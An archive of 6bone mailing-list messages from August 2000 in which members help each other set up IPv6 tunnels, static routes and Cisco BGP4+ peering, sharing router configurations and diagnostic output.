   I just joined this list and I am new to IPv6, I set up one FreeBSD4.1
and want to connect to 6bone. Can I do this without any other equipment
support?

   Jeff 
   


From 6bone-owner  Thu Aug 17 18:28:36 2000
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Date: Thu, 17 Aug 2000 21:29:34 -0400
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To: Li <hli@suite.fh.siue.edu>
CC: 6bone@ISI.EDU
Subject: Re: 6bone connection
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Li wrote:
> 
> Hi,
> 
>    I just joined this list and I am new to IPv6, I set up one FreeBSD4.1
> and want to connect to 6bone. Can I do this without any other equipment
> support?
> 
Start at www.6bone.net .  There is lots of good information and
How-To's.  Or http://www.freenet6.net/ the simplest IPv6 connection.

Jim
-- 
If it happens once, it's a bug.
If it happens twice, it's a feature.
If it happens more than twice, it's windows.
    -- Luiz de Barros

From 6bone-owner  Fri Aug 18 14:10:01 2000
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Date: Fri, 18 Aug 2000 23:09:37 +0200
From: Jean-Claude Christophe <jch@oleane.net>
To: Li <hli@suite.fh.siue.edu>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone connection
Message-ID: <20000818230937.K2717@oleane.net>
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>    I just joined this list and I am new to IPv6, I set up one FreeBSD4.1
> and want to connect to 6bone. Can I do this without any other equipment
> support?

Yes. The best way to begin is to connect you via Freenet6
(http://www.freenet6.net)

-- 
Jean-Claude Christophe / jch@oleane.net / Oleane

From 6bone-owner  Mon Aug 21 08:58:27 2000
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From: "Gils van, Jan" <jang@sps.nl>
To: 6bone@ISI.EDU
Cc: "Gils van, Jan" <jang@sps.nl>, "'janvg@knoware.nl'" <janvg@knoware.nl>
Subject: IPv6 experience with OpenLinux from Caldera
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	Hi,

Thanks for reading.

For a couple off months now I am working with IPv6.
I am having some problems in compiling programs such as
tcpdump-3.5 and others.

Are there any people out there that use OpenLinux and IPv6.
What are your experiences ?

Please let me know.

Jan

----
Jan H. van Gils Senior Network Consultant
Office +31-(0)182-302222
Internet web-page http://www.sps.nl
Internet e-mail address jang@sps.nl
RIPE Whois JHG5-RIPE, 6BONE Whois JHG1-6BONE
 

From 6bone-owner  Tue Aug 22 09:01:19 2000
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Reply-To: "Terry" <terry@moorecomputersolutions.com>
From: "Terry" <mterry6249@uswest.net>
To: <6bone@ISI.EDU>
Subject: IPV6 working - looking for tunnel
Date: Tue, 22 Aug 2000 09:02:18 -0700
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Hi,

I've managed to get IPV6 working over a freenet6 tunnel - I'm now looking
for a tunnel to allow the rest of my network to connect rather than a point
to point link.

I've started working down the PTLA list on the 6bone registry page but am
becoming discouraged by either no response or negative responses.   Can
anybody help ?

My geographical location is Spokane Wa - my ipv4 address of my router is :
63.227.98.195

My network is a small home / business network with a couple of linux boxes
and a couple of windows boxes.

Thanks


Terry


Terry Moore-Read   - Computer Guru & Part-time rocket scientist
NAR # 77465    Insured     Level 1




From 6bone-owner  Tue Aug 22 11:29:31 2000
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Date: Tue, 22 Aug 2000 13:37:28 -0400
To: "Terry" <terry@moorecomputersolutions.com>, <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: IPV6 working - looking for tunnel
Cc: ipv6@viagenie.qc.ca
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we can help you out.  Just send your request to ipv6@viagenie.qc.ca and 
someone will handle your request.

Marc.

At/À 09:02 2000-08-22 -0700, Terry you wrote/vous écriviez:
>Hi,
>
>I've managed to get IPV6 working over a freenet6 tunnel - I'm now looking
>for a tunnel to allow the rest of my network to connect rather than a point
>to point link.
>
>I've started working down the PTLA list on the 6bone registry page but am
>becoming discouraged by either no response or negative responses.   Can
>anybody help ?
>
>My geographical location is Spokane Wa - my ipv4 address of my router is :
>63.227.98.195
>
>My network is a small home / business network with a couple of linux boxes
>and a couple of windows boxes.
>
>Thanks
>
>
>Terry
>
>
>Terry Moore-Read   - Computer Guru & Part-time rocket scientist
>NAR # 77465    Insured     Level 1


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Tue Aug 22 15:58:13 2000
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From: "Terry" <mterry6249@uswest.net>
To: "Terry" <terry@moorecomputersolutions.com>, <6bone@ISI.EDU>
References: <001901c00c52$5aba8a40$0200000a@moorecomputersolutions.com>
Subject: Re: IPV6 working - looking for tunnel
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Thanks for all the offers of help - I think I've got it taken care of now
thru viagenie.qc.ca



Terry Moore-Read   - Computer Guru & Part-time rocket scientist

----- Original Message -----
From: Terry <mterry6249@uswest.net>
To: <6bone@ISI.EDU>
Sent: Tuesday, August 22, 2000 9:02 AM
Subject: IPV6 working - looking for tunnel


> Hi,
>
> I've managed to get IPV6 working over a freenet6 tunnel - I'm now looking
> for a tunnel to allow the rest of my network to connect rather than a
point
> to point link.
>
> I've started working down the PTLA list on the 6bone registry page but am
> becoming discouraged by either no response or negative responses.   Can
> anybody help ?
>
> My geographical location is Spokane Wa - my ipv4 address of my router is :
> 63.227.98.195
>
> My network is a small home / business network with a couple of linux boxes
> and a couple of windows boxes.
>
> Thanks
>
>
> Terry
>
>
> Terry Moore-Read   - Computer Guru & Part-time rocket scientist
> NAR # 77465    Insured     Level 1
>
>
>
>


From 6bone-owner  Wed Aug 23 05:15:56 2000
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From: Craig Allen <Craig@bas.co.za>
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Subject: IPv6 Routing
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Hi.

This might be a simple question but I've really got stuck and the
documentation is not helping.

I'm running FreeBSD 4.1 with integrated KAME IPv6 support.

I've added my default IPv6 route as follows: route add -inet6 default
3ffe:1100:0:c1e::1

This connects me to the 6BONE via my gif0 Tunnel.

The question is, how do I route 3ffe:1108:1002::/48 via my gif1 Tunnel to my
remote site?

I have read the route add command but I can't seem to get the command right.

Perhaps someone can give me an example route add command how to do static
IPv6 routing for my remote tunnels.

Thanks for helping me.

Regards

Craig

From 6bone-owner  Wed Aug 23 10:07:40 2000
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I have a tunnel connection to 6bone. (I think I do)
Where can I find a list of addresses to test connectivity. 

Nigel Clarke
Network Systems Engineer
Forever Networks
nigel@forever-networks.com

From 6bone-owner  Wed Aug 23 13:21:41 2000
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On 23 Aug 2000 nigel@forever-networks.com wrote:

> I have a tunnel connection to 6bone. (I think I do)
> Where can I find a list of addresses to test connectivity. 

A list of connected hosts?  That's actually a good question.  Here's a few
to try:

SMTP	ftp.ipv6.crc.ca		2001:410:401:c::2
FTP	augustus.dgim.crc.ca	2001:410:401:8::2
HTTP	stats.ipv6.crc.ca	2001:410:401:3::2

> Nigel Clarke
> Network Systems Engineer
> Forever Networks
> nigel@forever-networks.com
> 



wfms


From 6bone-owner  Wed Aug 23 13:53:42 2000
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Date: Wed, 23 Aug 2000 22:54:20 +0200
From: Jean-Claude Christophe <jch@oleane.net>
To: nigel@forever-networks.com
Cc: 6bone@ISI.EDU
Subject: Re: Test adresses ?
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> I have a tunnel connection to 6bone. (I think I do)
> Where can I find a list of addresses to test connectivity. 

Try http://www.kame.net and look at the bottom left corner if you are
really in IPV6 :-)


-- 
Jean-Claude Christophe / jch@oleane.net / Oleane

From 6bone-owner  Wed Aug 23 13:54:45 2000
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From: Jeffrey Eschbach <eschbach@rsch.comm.mot.com>
Reply-To: eschbach@rsch.comm.mot.com
Organization: Motorola, Inc.
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I'm with Motorola Labs, and we are looking to join the 6Bone
through an OC-3c connection we have to the Ameritech NAP in
Chicago.  I believe we can access 6Bone through 6TAP, but need
to obtain a 6Bone IPv6 prefix first.  Any information on how
to get the prefix and what the next steps are after that?
Thanks for the help.

Jeff
-- 
-------------------------------------------------------------
Jeff Eschbach              
Motorola Labs, Networks and Infrastructure Research
eschbach@rsch.comm.mot.com      Fax: (847) 576-3240
(847) 538-5846               Nextel: (847) 980-2240

From 6bone-owner  Wed Aug 23 14:32:48 2000
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Date: Wed, 23 Aug 2000 17:29:09 -0400 (EDT)
From: Florent Parent <parent@viagenie.qc.ca>
To: nigel@forever-networks.com
cc: 6bone@ISI.EDU
Subject: Re: Test adresses ?
In-Reply-To: <Pine.GSO.3.96LJ1.1b7.1000823162012.20429A-100000@ryouko.dgim.crc.ca>
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You can also try http://www.viagenie.qc.ca

Or just reply to my mail (if you have an IPv6 mail client)

Florent.

On Wed, 23 Aug 2000, William F. Maton wrote:

> On 23 Aug 2000 nigel@forever-networks.com wrote:
> 
> > I have a tunnel connection to 6bone. (I think I do)
> > Where can I find a list of addresses to test connectivity. 
> 
> A list of connected hosts?  That's actually a good question.  Here's a few
> to try:
> 
> SMTP	ftp.ipv6.crc.ca		2001:410:401:c::2
> FTP	augustus.dgim.crc.ca	2001:410:401:8::2
> HTTP	stats.ipv6.crc.ca	2001:410:401:3::2
> 
> > Nigel Clarke
> > Network Systems Engineer
> > Forever Networks
> > nigel@forever-networks.com
> > 
> 
> 
> 
> wfms
> 
> 

--
Florent Parent                     Florent.Parent@viagenie.qc.ca
Viagénie inc.                      http://www.viagenie.qc.ca
2875, boul. Laurier, bur. 300      tél.: 418-656-9254 
Ste-Foy (Québec) Canada  G1V 2M2   fax.: 418-266-5539
PGP: B718 4543 977C BE73 2BCC  23D5 3E20 4FC9 2A90 872C


From 6bone-owner  Wed Aug 23 15:03:22 2000
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Date: Thu, 24 Aug 2000 00:04:10 +0200 (CEST)
From: Max Gargani <max@ipng.it>
To: nigel@forever-networks.com
cc: 6bone@ISI.EDU
Subject: Re: Test adresses ?
In-Reply-To: <20000823170816.20877.cpmta@c000.snv.cp.net>
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Try on http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/

Regards,

.. Massimiliano Gargani
.. Access/Network Engineer
.. EdisonTel S.p.A.

On 23 Aug 2000 nigel@forever-networks.com wrote:

> I have a tunnel connection to 6bone. (I think I do)
> Where can I find a list of addresses to test connectivity. 
> 
> Nigel Clarke
> Network Systems Engineer
> Forever Networks
> nigel@forever-networks.com
> 


From 6bone-owner  Wed Aug 23 16:37:12 2000
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Date: Wed, 23 Aug 2000 19:57:27 -0400
From: John Comeau <jcomeau@dialtoneinternet.net>
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To: 6bone@ISI.EDU
Subject: stuck for a week at netstat -A inet6 -an
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I've been following the IPV6 Howto, or at least I think I have, and I can't
seem to get past this roadblock. I've got xinetd set up with all the services,
such as finger, daytime, echo, etc, and don't see any listening on IPV6
addresses. And I get connection refused on all inet6 ports. 'tail
/var/log/messages' doesn't show any reason why.

I'm probably doing something very stupid... flame away, but try and squeeze
some useful tips in too 8^) - jc

[root@cto jc]# telnet ::1 echo
Trying ::1...
telnet: connect to address ::1: Connection
refused                              

[root@cto jc]# netstat -?
usage: netstat [-veenNcCF] [<Af>] -r         netstat {-V|--version|-h|--help}
       netstat [-vnNcaeol] [<Socket> ...]
       netstat { [-veenNac] -i | [-cnNe] -M | -s }

        -r, --route              display routing table
        -g, --groups             display multicast group memberships
        -s, --statistics         display networking statistics (like SNMP)
        -M, --masquerade         display masqueraded connections
 
        -v, --verbose            be verbose
        -n, --numeric            dont resolve names
        -N, --symbolic           resolve hardware names
        -e, --extend             display other/more information
        -p, --programs           display PID/Program name for sockets
        -c, --continuous         continuous listing
 
        -l, --listening          display listening server sockets
        -a, --all, --listening   display all sockets (default: connected)
        -o, --timers             display timers
        -F, --fib                display Forwarding Information Base (default)
        -C, --cache              display routing cache instead of FIB
 
  <Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom
  <AF>=Use '-A <af>' or '--<af>' Default: inet
  List of possible address families (which support routing):
    inet (DARPA Internet) inet6 (IPv6) ax25 (AMPR AX.25)
    netrom (AMPR NET/ROM) ipx (Novell IPX) ddp (Appletalk
DDP)                                                                                                

[root@cto jc]# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:10:4B:9C:BE:28
          inet addr:10.0.1.110  Bcast:10.0.255.255  Mask:255.255.0.0
          inet6 addr: 3ffe:400:100:ff01::1/0 Scope:Global
          inet6 addr: fe80::10:4b9c:be28/10 Scope:Link
          inet6 addr: fe80::210:4bff:fe9c:be28/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2052215 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2635708 errors:0 dropped:0 overruns:0 carrier:6
          collisions:272078 txqueuelen:100
          Interrupt:10 Base address:0xd400
 
[root@cto jc]# ping6 ::1
PING ::1(::1) 56 data bytes
64 bytes from ::1: icmp_seq=0 hops=64 time=0.3 ms
64 bytes from ::1: icmp_seq=1 hops=64 time=0.2 ms
 
--- ::1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.3 ms

[root@cto jc]# netstat -A inet6 -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State

[root@cto jc]#  
-- 
John Comeau - Chief Technology Officer 
Dialtone Internet - Extremely Fast Web Systems 
954-581-0097x113  fax://954-581-7629 
jcomeau@dialtoneinternet.net
http://www.dialtoneinternet.net
"We are a Responsible Internet Provider - see http://risp.org"

From 6bone-owner  Thu Aug 24 05:02:59 2000
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From: "Jean-Louis Noel" <jln@stben.be>
To: <6bone@ISI.EDU>
References: <Pine.LNX.4.21.0008240003470.2176-100000@linux.ipng.it>
Subject: Re: Test adresses ?
Date: Thu, 24 Aug 2000 14:04:11 +0200
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Hello,

"Max Gargani" <max@ipng.it> wrote to <nigel@forever-networks.com>

Subject: Re: Test adresses ?


>
> Try on http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/

Lancs.ac.uk will not work for me!

If I try :
http://www.cs-ipv6.lancs.ac.uk/cgi-bin/ping?ADDRESS=samba.stben.be

I got :

IPv6
samba.stben.be = 3ffe:608:2:300:200:b4ff:fe91:9688
no answer from 3ffe:608:2:300:200:b4ff:fe91:9688
----------------------------------------------------------------------------
----
IPv4
/usr/sbin/ping: unknown host samba.stben.be
----------------------------------------------------------------------------
----

If y try :
http://www.stben.be/internet/trace6.html

I got :
TraceRoute IPv6 Results from www.stben.be to www.cs-ipv6.lancs.ac.uk


----------------------------------------------------------------------------
----

traceroute to info7.cs-ipv6.lancs.ac.uk (3ffe:2101:0:c00::5) from
3ffe:608:2:300:250:4ff:fe37:5976, 30 hops max, 16 byte packets
 1  rout-dom.stben.be (3ffe:608:2:300:200:b4ff:fe91:a2bb)  0.443 ms  0.139
ms  0.122 ms
 2  t7.ipv6.science.belnet.net (3ffe:608:2:2::d)  200.588 ms *  339.15 ms
 3  ir4.Amsterdam.surf.net (3ffe:600:8000::5)  207.867 ms * 3ffe:600:8000::d
(3ffe:600:8000::d)  173.213 ms
 4  surfnet-if.6r1.doc.london.ip6.pipex.net (3ffe:1100:0:c09::1)  85.577 ms
*  77.251 ms
 5  doc-6r1-if.6r1.paloalto.ip6.pipex.net (2001:600:4:4::2)  239.829 ms *
653.266 ms
 6  pao-6r1-if.6r1.cambridge.ip6.pipex.net (2001:600:4:5::1)  911.826 ms
524.674 ms  647.894 ms
 7  uunet-uk-if.ulcc.ipv6.ja.net (3ffe:1100:0:1c01::2)  687.899 ms  540.794
ms  703.926 ms
 8  gate6.lancs.ac.uk (3ffe:2100:1::2)  495.853 ms  628.32 ms  767.961 ms
 9  homer.cs-ipv6.lancs.ac.uk (3ffe:2101:0:800::3)  847.797 ms  716.972 ms
439.89 ms
10  homer.cs-ipv6.lancs.ac.uk (3ffe:2101:0:800::3)  3431.92 ms !H  3460.84
ms !H  4399.86 ms !H
====================

Bye,
Jean-Louis



From 6bone-owner  Thu Aug 24 05:29:47 2000
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From: nigel@forever-networks.com
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To: bstojakovic@netway.at
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Subject: Re: AW: Test adresses - Part II
Sender: owner-6bone@zephyr.isi.edu
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First of all, I wan't to thank everyone who responded to my inquiry ! 

I  tried Freenet. My tunnel connection appears to be up. I can't ping the IPv6 addresses provided by Freenet
either....

interface Tunnel0
 no ip address
 no ip directed-broadcast
 ip mtu 1480
 ipv6 enable
 ipv6 address 3FFE:B00:C18:1FFF::1D1/127
 ipv6 rip T0 enable
 tunnel source Ethernet0
 tunnel destination 206.123.31.102
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 141.155.254.5 255.255.255.0
 no ip directed-broadcast
 ipv6 enable
 ipv6 rip T0 enable

Ethernet0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::200:CFF:FE3E:651C
  No global unicast address is configured
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF3E:651C
    FF02::9
  MTU is 1500 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
Tunnel0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::C3E:651C:8
  Global unicast address(es):
    3FFE:B00:C18:1FFF::1D1, subnet is 3FFE:B00:C18:1FFF::1D0/127
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF1C:8
    FF02::1:FF00:1D1
    FF02::9
  MTU is 1480 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.


On Wed, 23 August 2000, "Stojakovic, Branislav" wrote:

> 
> Have you tried www.freenet6.net?  
> They provide configured tunnel and IPv6 address to any single host with dual
> stack, Solaris is supported..
> 
> Regards
> Brani 
> 
> 
> > -----Ursprüngliche Nachricht-----
> > Von:    nigel@forever-networks.com [SMTP:nigel@forever-networks.com]
> > Gesendet am:    Mittwoch, 23. August 2000 19:08
> > An:    6bone@ISI.EDU
> > Betreff:    Test adresses ?
> > 
> > I have a tunnel connection to 6bone. (I think I do)
> > Where can I find a list of addresses to test connectivity. 
> > 
> > Nigel Clarke
> > Network Systems Engineer
> > Forever Networks
> > nigel@forever-networks.com

Nigel Clarke
Network Systems Engineer
Forever Networks
nigel@forever-networks.com

From 6bone-owner  Thu Aug 24 06:48:50 2000
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Date: Thu, 24 Aug 2000 09:44:18 -0400
To: nigel@forever-networks.com
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
Subject: Re: AW: Test adresses - Part II
Cc: bstojakovic@netway.at, 6bone@ISI.EDU
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I've forwarded your email to support@freenet6.net  Someone will help you out.

Florent.

At 05:30 2000-08-24 -0700, nigel@forever-networks.com wrote:
>First of all, I wan't to thank everyone who responded to my inquiry !
>
>I  tried Freenet. My tunnel connection appears to be up. I can't ping the 
>IPv6 addresses provided by Freenet
>either....
>
>interface Tunnel0
>  no ip address
>  no ip directed-broadcast
>  ip mtu 1480
>  ipv6 enable
>  ipv6 address 3FFE:B00:C18:1FFF::1D1/127
>  ipv6 rip T0 enable
>  tunnel source Ethernet0
>  tunnel destination 206.123.31.102
>  tunnel mode ipv6ip
>!
>interface Ethernet0
>  ip address 141.155.254.5 255.255.255.0
>  no ip directed-broadcast
>  ipv6 enable
>  ipv6 rip T0 enable
>
>Ethernet0 is up, line protocol is up
>   IPv6 is enabled, link-local address is FE80::200:CFF:FE3E:651C
>   No global unicast address is configured
>   Joined group address(es):
>     FF02::1
>     FF02::2
>     FF02::1:FF3E:651C
>     FF02::9
>   MTU is 1500 bytes
>   ICMP error messages limited to one every 500 milliseconds
>   ND advertised reachable time is 0 milliseconds
>   ND advertised retransmit interval is 0 milliseconds
>   ND router advertisements are sent every 200 seconds
>   ND router advertisements live for 1800 seconds
>   Hosts use stateless autoconfig for addresses.
>Tunnel0 is up, line protocol is up
>   IPv6 is enabled, link-local address is FE80::C3E:651C:8
>   Global unicast address(es):
>     3FFE:B00:C18:1FFF::1D1, subnet is 3FFE:B00:C18:1FFF::1D0/127
>   Joined group address(es):
>     FF02::1
>     FF02::2
>     FF02::1:FF1C:8
>     FF02::1:FF00:1D1
>     FF02::9
>   MTU is 1480 bytes
>   ICMP error messages limited to one every 500 milliseconds
>   ND advertised reachable time is 0 milliseconds
>   ND advertised retransmit interval is 0 milliseconds
>   ND router advertisements are sent every 200 seconds
>   ND router advertisements live for 1800 seconds
>   Hosts use stateless autoconfig for addresses.
>
>
>On Wed, 23 August 2000, "Stojakovic, Branislav" wrote:
>
> >
> > Have you tried www.freenet6.net?
> > They provide configured tunnel and IPv6 address to any single host with 
> dual
> > stack, Solaris is supported..
> >
> > Regards
> > Brani
> >
> >
> > > -----Ursprüngliche Nachricht-----
> > > Von:    nigel@forever-networks.com [SMTP:nigel@forever-networks.com]
> > > Gesendet am:    Mittwoch, 23. August 2000 19:08
> > > An:    6bone@ISI.EDU
> > > Betreff:    Test adresses ?
> > >
> > > I have a tunnel connection to 6bone. (I think I do)
> > > Where can I find a list of addresses to test connectivity.
> > >
> > > Nigel Clarke
> > > Network Systems Engineer
> > > Forever Networks
> > > nigel@forever-networks.com
>
>Nigel Clarke
>Network Systems Engineer
>Forever Networks
>nigel@forever-networks.com


From 6bone-owner  Fri Aug 25 20:17:03 2000
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Message-ID: <39A73BE7.DB500969@mimos.my>
Date: Sat, 26 Aug 2000 11:39:20 +0800
From: Raja Azlina <ina@mimos.my>
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Subject: Need help with cisco bgp configuration..
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I've tried to run bgp4+ with dti japan.  I have the following
configuration
but somehow i still couldn't connect to them.  Hope someone out there
could help me out.  Thanks..

----config----
!
interface Tunnel1
 description Tunnel to DTI Japan
 no ip address
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:8080:2000::2/64
 tunnel source Ethernet0/0
 tunnel destination 203.181.69.33
 tunnel mode ipv6ip
!
.....snipp

!
router bgp 2042
 no bgp default ipv4-unicast
 neighbor 3FFE:8080:2000::1 remote-as 4691
 !
 address-family ipv6
 neighbor 3FFE:8080:2000::1 activate
 network 2001:208:110::/44
 exit-address-family
!

-----result------
router1.nel-ipv6.mimos.my#sh bgp ipv6 summary
BGP router identifier 202.187.22.33, local AS number 2042
BGP table version is 1, main routing table version 1

Neighbor                  V    AS MsgRcvd MsgSent  InQ OutQ Up/Down
State
3FFE:8080:2000::1         4  4691       0       0    0    0 never
Active

router1.nel-ipv6.mimos.my#sh bgp ipv6 neighbors
BGP neighbor is 3FFE:8080:2000::1,  remote AS 4691, external link
  BGP version 4, remote router ID 0.0.0.0
  BGP state = Active
  Last read 00:08:39, hold time is 180, keepalive interval is 60 seconds

  Received 0 messages, 0 notifications, 0 in queue
  Sent 0 messages, 0 notifications, 0 in queue
  Route refresh request: received 0, sent 0
  Minimum time between advertisement runs is 30 seconds

 For address family: IPv6 Unicast
  BGP table version 1, neighbor version 0
  Index 1, Offset 0, Mask 0x2
  0 accepted prefixes consume 0 bytes
  Prefix advertised 0, suppressed 0, withdrawn 0

  Connections established 0; dropped 0
  Last reset never
  No active TCP connection


-azlina

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From 6bone-owner  Fri Aug 25 23:23:45 2000
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To: ina@mimos.my
Cc: 6bone@ISI.EDU
Subject: RE: Need help with cisco bgp configuration..
Date: Sat, 26 Aug 2000 08:23:24 +0200
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> -----Original Message-----
> From: Raja Azlina [mailto:ina@mimos.my]
> Sent: Saturday, August 26, 2000 5:39 AM
> To: 6bone@ISI.EDU
> Subject: Need help with cisco bgp configuration..

The config looks fine.
 
[...]

> router1.nel-ipv6.mimos.my#sh bgp ipv6 neighbors
> BGP neighbor is 3FFE:8080:2000::1,  remote AS 4691, external link
>   BGP version 4, remote router ID 0.0.0.0
>   BGP state = Active
                ^^^^^^
This should be established!

Perhaps you could post the *complete* configuration of
your router and the remote router (delete the passwords
and secrets!)?

This config works fine for me:

<--- snipp --->

version 12.0
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname 6bone
!
enable secret XXXXXX
!
!
!
!
!
ip subnet-zero
ip domain-name gendorf.net
ip name-server 212.68.96.75
!
!
!
interface Loopback0
 no ip address
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:400:3B0::CF3:8C05/48
 ipv6 mtu 1480
!
interface Loopback1
 no ip address
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:3500:100::CF3:8C05/48
 ipv6 mtu 1480
!
interface Tunnel0
 description Tunnel to JOIN (www.join.uni-muenster.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:401:0:1::5:2/112
 tunnel source Ethernet0
 tunnel destination 128.176.191.66
 tunnel mode ipv6ip
!
interface Tunnel1
 description Tunnel to regio.net
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:3500:100::11/126
 tunnel source Ethernet0
 tunnel destination 212.218.0.9
 tunnel mode ipv6ip
!
interface Tunnel2
 description Tunnel zur Uni Erlangen
(erich.meier@informatik.uni-erlangen.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:400:50:200::2:2/112
 tunnel source Ethernet0
 tunnel destination 131.188.34.2
 tunnel mode ipv6ip
!
interface Tunnel3
 description Tunnel zur Uni Leipzig (toenjes@informatik.uni-leipzig.de)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:400:280:F001::1A/126
 tunnel source Ethernet0
 tunnel destination 139.18.38.71
 tunnel mode ipv6ip
!
interface Tunnel4
 description Tunnel zu Fibertel (platini@fibertel.com.ar)
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:3800::A:2/112
 tunnel source Ethernet0
 tunnel destination 24.232.1.5
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 212.68.96.114 255.255.255.252
 no ip directed-broadcast
 media-type 10BaseT
 ipv6 address 3FFE:400:3B0::CFF:EE1A:AB19/80
!
interface Ethernet1
 no ip address
 no ip directed-broadcast
 shutdown
!         
router bgp 12853
 no synchronization
 bgp dampening
 neighbor 3FFE:400:50:200::2:1 remote-as 1275
 no neighbor 3FFE:400:50:200::2:1 activate
 neighbor 3FFE:400:280:F001::19 remote-as 1275
 no neighbor 3FFE:400:280:F001::19 activate
 neighbor 3FFE:401:0:1::5:1 remote-as 1275
 no neighbor 3FFE:401:0:1::5:1 activate
 neighbor 3FFE:3500:100::10 remote-as 8319
 no neighbor 3FFE:3500:100::10 activate
 neighbor 3FFE:3800::A:1 remote-as 10318
 no neighbor 3FFE:3800::A:1 activate
 !
 address-family ipv6
 neighbor 3FFE:400:50:200::2:1 activate
 neighbor 3FFE:400:50:200::2:1 override-capability-neg
 neighbor 3FFE:400:50:200::2:1 prefix-list JOIN in
 neighbor 3FFE:400:50:200::2:1 prefix-list erlangen-out out
 neighbor 3FFE:400:280:F001::19 activate
 neighbor 3FFE:400:280:F001::19 override-capability-neg
 neighbor 3FFE:400:280:F001::19 prefix-list JOIN in
 neighbor 3FFE:400:280:F001::19 prefix-list leipzig-out out
 neighbor 3FFE:401:0:1::5:1 activate
 neighbor 3FFE:401:0:1::5:1 override-capability-neg
 neighbor 3FFE:401:0:1::5:1 prefix-list FULL in
 neighbor 3FFE:401:0:1::5:1 prefix-list join-out out
 neighbor 3FFE:3500:100::10 activate
 neighbor 3FFE:3500:100::10 override-capability-neg
 neighbor 3FFE:3500:100::10 prefix-list FULL in
 neighbor 3FFE:3500:100::10 prefix-list regio-out out
 neighbor 3FFE:3800::A:1 activate
 neighbor 3FFE:3800::A:1 override-capability-neg
 neighbor 3FFE:3800::A:1 prefix-list FULL in
 neighbor 3FFE:3800::A:1 prefix-list fibertel-out out
 network 3FFE:400:3B0::/48
 network 3FFE:3500:100::/48
 aggregate-address 3FFE:400:3B0::/48
 aggregate-address 3FFE:3500:100::/48
 exit-address-family
!
ip default-gateway 212.68.96.113
ip classless
ip route 0.0.0.0 0.0.0.0 212.68.96.113
no ip http server
!
!
ip prefix-list FULL seq 5 permit 3FFE::/16 le 128
ip prefix-list FULL seq 10 permit 2001::/16 le 128
ip prefix-list FULL seq 15 permit 2002::/16 le 128
!
ip prefix-list JOIN seq 5 permit 3FFE:400::/24 le 128
!
ip prefix-list erlangen-out seq 5 permit 3FFE:400:3B0::/48 le 128
ip prefix-list erlangen-out seq 10 permit 3FFE:3500:100::/48 le 128
ip prefix-list erlangen-out seq 15 permit 3FFE:400:180::/48 le 128
ip prefix-list erlangen-out seq 20 permit 3FFE:400:280::/48 le 128
!
ip prefix-list fibertel-out seq 5 deny ::/0 le 128
!
ip prefix-list join-out seq 5 permit 3FFE:400:50::/48 le 128
ip prefix-list join-out seq 10 permit 3FFE:400:180::/48 le 128
ip prefix-list join-out seq 15 permit 3FFE:400:280::/48 le 128
ip prefix-list join-out seq 20 permit 3FFE:400:3B0::/48 le 128
!
ip prefix-list leipzig-out seq 5 permit 3FFE:400:3B0::/48 le 128
ip prefix-list leipzig-out seq 10 permit 3FFE:3500:100::/48 le 128
ip prefix-list leipzig-out seq 15 permit 3FFE:400:50::/48 le 128
!
ip prefix-list regio-out seq 5 permit 3FFE:3500:100::/48 le 128
!
banner motd ^CATTENTION!
You are entering a private system.
Unallowed access (even the attempt) is prohibited
and will be prosecuted by any means of law.
All transactions are recorded.

ACHTUNG!
Sie betreten ein privates System.
Jeglicher unerlaubter Zugriff oder nur der Versuch
ist verboten und wird strafrechtlich verfolgt.
Alle Aktionen werden aufgezeichnet.^C
!
line con 0
 transport input none
line aux 0
line vty 0 4
 password XXXXXXXXXXX
 login
!         
end

<--- snipp --->

Hope this helps!

Stefan Gasteiger
--
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de



 
 

From 6bone-owner  Sat Aug 26 06:54:26 2000
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To: ina@mimos.my
Cc: 6bone@ISI.EDU, roha@mimos.my
Subject: Re: Need help with cisco bgp configuration..
In-Reply-To: <39A73BE7.DB500969@mimos.my>
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Message-Id: <20000826225521B.ishizaki@dti.ad.jp>
Date: Sat, 26 Aug 2000 22:55:21 +0900
From: Yutaka Ishizaki <ishizaki@dti.ad.jp>
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Dear Azlina,

